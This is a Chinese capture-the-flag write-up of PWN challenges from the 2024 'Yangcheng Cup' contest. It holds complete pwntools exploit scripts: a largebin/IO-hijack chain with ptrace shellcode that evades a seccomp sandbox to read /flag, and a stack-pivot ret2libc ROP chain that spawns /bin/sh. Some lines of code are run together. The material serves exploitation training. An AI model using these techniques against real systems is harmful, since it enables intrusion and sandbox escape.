本文主要是介绍2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析
- hard+sandbox:
- ptrace 系统调用概述:
- logger:
- pstack:
[X] 🛰:ly3260344435
[X] 🐧:3260344435
[X] BiliBili:鱼影信息
[X] 公众号:鱼影安全
[X] CSDN:落寞的魚丶
[X] 知识星球:中职-高职-CTF竞赛
[X] 信息安全评估(高职)、中职网络安全、金砖比赛、世界技能大赛省选拔选拔赛、电子取证比赛,CTF培训等
欢迎师傅们交流学习,加我可以拉粉丝群~
hard+sandbox:
这题难点在于绕过沙盒的限制,但是这里open
和openat
都禁用,
并且固定执行环境,很难通过平替函数 或者篡改cs
切换执行环境来执行open
函数
发现大堆的申请限制+uaf
漏洞 直接largebin attack+IO
就能完成劫持rip
glibc2.36
这里使用了一个magic_gadget
来配合使用setcontext
完成劫持
0x000000000005e5b0 : mov rdx, rbx ; call qword ptr [rax + 0x38]
这里大牛指导了我一下,使用ptrace
去hook->seccomp
ptrace 系统调用概述:
int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。
//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。
//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。 //PTRACE_CONT.用于继续执行之前被暂停的进程
//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。 //pid:目标进程的进程 ID(PID)。
//addr 和 data:用于特定请求的额外数据。 //data:
//PTRACE_O_TRACESECCOMP:指定设置 seccomp 事件跟踪选项。
先fork
开启一个子进程 如果 pid 为 0
表示当前代码块是在子进程中执行的,否则是在父进程中执行的
然后使用ptrace
附加选项(PTRACE_ATTACH)
附加到子进程
调用 wait
函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作
接下来对seccomp
设置子进程的监控选项, PTRACE_O_TRACESECCOMP
使得父进程能够接收到 seccomp
触发的信号。然后继续执行子进程 PTRACE_CONT
等待 seccomp
触发 wait(NULL)
; 父进程会在这里阻塞,直到接收到子进程的 seccomp
触发事件。
这个时候子进程会触发seccomp
然后,在父进程中对他进行hook
处理,完成绕过
只需要将C
语言代码转换为汇编执行就行
from pwn import *
from ctypes import*
from LibcSearcher import*
import pwnlib.shellcraft as scu64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)FILENAME='../pwn5'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='124.223.76.251'
port=9999
# p = remote(ip,port)libc=ELF('../libc.so.6')def command(option):
p.recvuntil(b'>')
p.sendline(bytes(str(option),'utf-8'))def create(idx,Size):
command(1)
p.recvuntil(b'Index')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(id):
command(2)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
command(3)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def show(id):
command(4)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
context.arch='amd64'
create(0,0x500)
create(1,0x520)
create(2,0x510)
create(3,0x520)
free(2)
create(4,0x520)
show(2)
libc_add=u64_fix(p)
libcbase=libc_add-0x1f70f0
success('libcbase '+hex(libcbase))
edit(2,b'a'*(0x10-1)+b'A')
show(2)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
edit(2,p64(libc_add)*2)IO_list_all=libcbase+0x1f7660
IO_wfile_jumps=libcbase+0x1f30a0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x00000000000233d1
#fake_IO
fakeIO_add=heap_add-0xa40
orw_add=fakeIO_add+0xe0+0x50A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
gg=libcbase+0x000000000005e5b0
leave_ret=libcbase+0x0000000000050877
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x68,b'\x00')
fake_IO+=p64(orw_add-0x8)#lock
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO+=p64(leave_ret)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'\x00'*0x20
fake_IO+=p64(B)+p64(gg)mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x0000000000023b65
rsi_ret=libcbase+0x00000000000251be
rdx_rbx_ret=libcbase+0x000000000008bcd9
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscallxor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp endchild_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcode2)payload=fake_IO+orw
edit(0,payload)
free(0)
edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))
create(10,0x600)
command(5)p.interactive()
logger:
pstack:
直接溢出0x10
字节但是没有地址,不能直接弹shell
需要先泄露libc
地址
可以看到整个ROP
很有用,再次的read和leave;ret;
可以刚好完成栈迁移,
因为第一次的溢出已经把rbp
改成了bss
段上面,然后再次的leave;ret
;直接迁移过去就行
system
执行的时候会大量push
操作,会把栈抬高,需要迁移的bss
段要在很下面,
不然会导致栈被抬高至不可写地址导致失败
from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('3.1.19.2', 8888)
libc=ELF('../libc.so.6')
ret=0x0000000000400506
rdi_ret=0x0000000000400773
leak='puts'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
main=0x400540
bss=0x601000+0x500
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
payload=b'a'*(0x8)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
leak_add=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libcbase=leak_add-libc.symbols[leak]
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
log.info('libcbase '+hex(libcbase))
bss=0x602000-0x50
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
execve=0xebc88+libcbase
xor_edx=0x00000000000a8558+libcbase
payload=b'a'*(0x8)+p64(ret)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
p.interactive()
这篇关于2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!